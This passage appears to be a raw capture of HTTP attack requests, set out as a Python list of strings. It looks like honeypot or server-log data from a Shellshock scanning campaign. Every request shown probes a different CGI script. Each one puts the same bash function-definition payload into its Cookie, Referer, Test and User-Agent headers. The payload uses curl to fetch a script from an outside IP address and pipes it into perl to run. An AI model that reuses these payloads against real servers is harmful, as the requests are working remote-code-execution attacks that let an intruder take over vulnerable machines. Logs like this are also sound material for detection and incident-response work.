/cgi-bin/MachineInfoHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lookwho.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/login.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/lastlines.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/handler/netsonarHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/handler.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gm-authors.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/gbook/gbook.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fom/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/fom.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper2/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ezshopper/loadpage.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/emu/html/emumail.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/diagnose.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/dbman/db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/db_manager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csv_db.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csPassword/csPassword.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/csNews.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/common/listrec.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/classified.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bulk/bulk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bslist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-rep.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-hostsvc.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/auktion.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/AT-generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/architext_query.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/add_ftp.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/14all.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/14all-1.1.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ccbill/whereami.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /apps/web/vs_diag.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /analyse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /aktivate/cgi-bin/catgy.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /agora.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /administrator.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/status HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /wwwboard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /wwwadmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsqueryform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvsquery.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /webtools/bonsai/cvslog.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /users/scripts/submit.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /technote/print.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /shop/member_html.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /SetSecurity.shmHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /servers/link.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl 